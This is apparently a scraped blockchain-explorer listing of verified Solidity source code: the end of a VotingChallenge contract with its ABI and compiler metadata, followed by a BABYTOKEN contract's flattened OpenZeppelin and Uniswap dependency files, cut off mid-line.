if(checkEndOfChallenge()) { sender.transfer(lastPayment); return; } lastPayment = 0; // Add new votes for community votes[candidate] += msg.value; // Change the votes distribution userVotesDistribution[sender][candidate] += msg.value; // Fire the event emit NewVotesFor(sender, candidate, msg.value); } // Transfer votes to anybody function transferVotes (address to, uint candidate) public inVotingPeriod { require(userVotesDistribution[msg.sender][candidate] > 0); uint votesToTransfer = userVotesDistribution[msg.sender][candidate]; userVotesDistribution[msg.sender][candidate] = 0; userVotesDistribution[to][candidate] += votesToTransfer; // Fire the event emit TransferVotes(msg.sender, to, candidate, votesToTransfer); } // Check the deadline // If success then define a winner and close the challenge function checkEndOfChallenge() public inVotingPeriod returns (bool) { if (challengeStarted + challengeDuration > now) return false; uint theWinner; uint winnerVotes; uint actualBalance = address(this).balance - lastPayment; for (uint i = 1; i <= candidatesNumber; i++) { if (votes[i] > winnerVotes) { winnerVotes = votes[i]; theWinner = i; } } winner = theWinner; creatorPrize = (actualBalance * creatorFee) / 1000; cryptoVersusPrize = (actualBalance * cryptoVersusFee) / 1000; challengePrize = actualBalance - creatorPrize - cryptoVersusPrize; isVotingPeriod = false; // Fire the event emit EndOfChallenge(winner, winnerVotes, challengePrize); return true; } // Send a reward if user voted for a winner function getReward() public afterVotingPeriod { if (userVotesDistribution[msg.sender][winner] > 0) { // Compute a vote ratio and send the reward uint userVotesForWinner = userVotesDistribution[msg.sender][winner]; userVotesDistribution[msg.sender][winner] = 0; uint reward = (challengePrize * userVotesForWinner) / votes[winner]; msg.sender.transfer(reward); // Fire the event emit RewardWasPaid(msg.sender, reward); } } // Send a reward if user voted for a winner function sendReward(address to) public afterVotingPeriod { if (userVotesDistribution[to][winner] > 0) { // Compute a vote ratio and send the reward uint userVotesForWinner = userVotesDistribution[to][winner]; userVotesDistribution[to][winner] = 0; uint reward = (challengePrize * userVotesForWinner) / votes[winner]; to.transfer(reward); // Fire the event emit RewardWasPaid(to, reward); } } // Send a reward to challenge creator function sendCreatorReward() public afterVotingPeriod { if (creatorPrize > 0) { uint creatorReward = creatorPrize; creatorPrize = 0; creator.transfer(creatorReward); // Fire the event emit CreatorRewardWasPaid(creator, creatorReward); } } // Send a reward to cryptoVersusWallet function sendCryptoVersusReward() public afterVotingPeriod { if (cryptoVersusPrize > 0) { uint cryptoVersusReward = cryptoVersusPrize; cryptoVersusPrize = 0; cryptoVersusWallet.transfer(cryptoVersusReward); // Fire the event emit CryptoVersusRewardWasPaid(cryptoVersusWallet, cryptoVersusReward); } } } contract VotingChallengeProxy { VotingChallenge challenge; uint candidate; constructor(address _mainAddress, uint _candidate) public { challenge = VotingChallenge(_mainAddress); candidate = _candidate; } function() public payable { challenge.voteForCandidate_.value(msg.value)(candidate, msg.sender); } }

[{"inputs":[{"name":"_mainAddress","type":"address"},{"name":"_candidate","type":"uint256"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

v0.4.25+commit.59dbf8f1

000000000000000000000000d42f90e5ffca24efad270c6f5b852a1df73e63760000000000000000000000000000000000000000000000000000000000000002

Default

bzzr://d910b7efd1ef37ff1d82b835cd82099249d1165a9826d246e36e5db4dc73ce5e

BABYTOKEN

BABYTOKEN.sol

0x702e4bf464cea5576f7b7cf1f2eb5192b907c910

Solidity

// Dependency file: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Dependency file: @openzeppelin/contracts/utils/Context.sol // pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol"; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // Dependency file: @openzeppelin/contracts/access/Ownable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts/utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // Dependency file: @openzeppelin/contracts/utils/math/SafeMath.sol // pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // Dependency file: @openzeppelin/contracts/proxy/Clones.sol // pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library Clones { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress( address implementation, bytes32 salt, address deployer ) internal pure returns (address predicted) { assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // Dependency file: contracts/interfaces/IUniswapV2Factory.sol // pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated( address indexed token0, address indexed token1, address pair, uint256 ); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // Dependency file: contracts/interfaces/IUniswapV2Router02.sol // pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETH( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountToken, uint256 amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountA, uint256 amountB); function removeLiquidityETHWithPermit( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountToken, uint256 amountETH); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function quote( uint256 amountA, uint256 reserveA, uint256 reserveB ) external pure returns (uint256 amountB); function getAmountOut( uint256 amountIn, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountOut); function getAmountIn( uint256 amountOut, uint256 reserveIn, uint256 reserveOut ) external pure returns (uint256 amountIn); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external returns (uint256 amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint256 liquidity, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint256 amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } // Dependency file: @openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol // pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Dependency file: @openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20MetadataUpgradeable is IERC20Upgradeable { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // Dependency file: @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol // pragma solidity ^0.8.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } // Dependency file: @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol // pragma solidity ^0.8.0; // import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } uint256[50] private __gap; } // Dependency file: @openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol // pragma solidity ^0.8.0; // import 